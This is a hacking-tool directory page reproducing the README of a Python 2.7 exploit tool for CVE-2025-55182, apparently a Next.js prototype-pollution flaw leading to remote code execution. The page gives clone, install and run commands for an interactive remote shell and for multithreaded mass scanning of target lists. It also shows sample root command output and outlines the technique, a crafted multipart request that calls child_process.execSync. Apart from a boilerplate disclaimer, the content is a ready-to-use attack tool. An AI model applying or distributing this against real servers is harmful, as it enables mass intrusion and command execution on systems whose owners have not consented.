Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-55182-React2shell — CVE-2025-55182 Exploit Tool – Python 2.7 exploit for Next.js prototype pollution leading to RCE | Kitploit
Tools/GitHubGitHub/jenderal92/cve-2025-55182-react2shell
Vulnerability ScannersPayload GenerationExploitationWeb Application ExploitationPenetration TestingRemote Access Tool
GitHubjenderal92/cve-2025-55182-react2shell

CVE-2025-55182-React2shell

CVE-2025-55182 Exploit Tool – Python 2.7 exploit for Next.js prototype pollution leading to RCE

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository
612 months agoNot yet reviewed

CVE-2025-55182 - React2shell

A Python 2.7 exploit for CVE-2025-55182 – a critical prototype pollution / RCE vulnerability in Next.js applications.
This tool allows both single‑target interactive shell and mass scanning of multiple hosts with multithreading, colorful output, and automatic HTTPS fallback.


🚀 Features

  • ✅ Interactive Shell for single targets – execute arbitrary system commands
  • ✅ Mass Scan from a file list – multithreaded, fast, results saved automatically
  • ✅ Auto‑detection – single URL → shell mode, existing file → mass scan mode
  • ✅ Automatic HTTPS – adds https:// if no protocol is given
  • ✅ Thread‑safe file writing – saves vulnerable results in real‑time
  • ✅ Custom commands – change default id to any command (whoami, ls, etc.)
  • ✅ No external dependencies – only requests (easily installable)

📋 Requirements

  • Python 2.7 (the tool is specifically written for Python 2.7)
  • requests library – install with:
    root@kitploit:~
    pip install requests
    

· A terminal that supports ANSI colors (most Linux/macOS terminals, Windows Terminal, PowerShell)

📦 Installation

root@kitploit:~
git clone https://github.com/Jenderal92/cve-2025-55182.git
cd CVE-2025-55182
pip install requests

Make the script executable (optional):

root@kitploit:~
chmod +x CVE-2025-55182.py

🎯 Usage

  1. Interactive Shell (Single Target)
root@kitploit:~
python2 CVE-2025-55182.py https://target.com

or without protocol (HTTPS is added automatically):

root@kitploit:~
python2 CVE-2025-55182.py target.com

Once connected and verified vulnerable, you get a shell prompt:

root@kitploit:~
$ id
uid=0(root) gid=0(root) groups=0(root)

$ whoami
root

$ ls -la
...

Built‑in commands:

· exit / quit – close shell · clear – clear screen · help – show help

  1. Mass Scan (List of Targets)

Prepare a file with one target per line (with or without http/https):

targets.txt

root@kitploit:~
app-site3.htface.tech
https://example.com
http://127.0.0.1:3000
vulnerable-site.org

Run mass scan (default: 10 threads, command id, output res.txt):

root@kitploit:~
python2 CVE-2025-55182.py targets.txt

Customize threads, command, output file:

root@kitploit:~
python2 CVE-2025-55182.py targets.txt 20 "whoami" results.txt

· 20 – number of threads · whoami – command to execute on each vulnerable target · results.txt – output file (only vulnerable entries are saved)

Mass scan output example:

root@kitploit:~
[INFO] Loaded 4 URLs
[INFO] Threads: 10, Command: 'id', Output: res.txt

[*] (1/4) Checking: https://site.com
[+] VULNERABLE: https://site.com
    Status: 303
    Output: uid=0(root) gid=0(root) groups=0(root)

[-] NOT VULNERABLE: https://example.com
...

Saved results (res.txt):

root@kitploit:~
domain : https://site.com
cmd : uid=0(root) gid=0(root) groups=0(root)
--------------------------------------------------

🧪 How It Works

The exploit sends a crafted multipart/form-data request to a Next.js endpoint (/login is appended if the path is empty). It abuses prototype pollution (proto:then and constructor:constructor) to inject a malicious prefix that executes a system command using child_process.execSync().

The server responds with a 303 redirect containing the command output in the x-action-redirect header (or Location). The tool extracts the result from /login?a=.


🛡️ Disclaimer

This tool is intended for educational purposes and authorized security testing only. Unauthorized access to computer systems is illegal. The author assumes no liability for any misuse or damage caused by this software. You must have explicit written permission from the owner of the target system before using this exploit.

More Disclaimer You Can see the disclaimer on the cover of Jenderal92. You can check it HERE !!!

Download Tool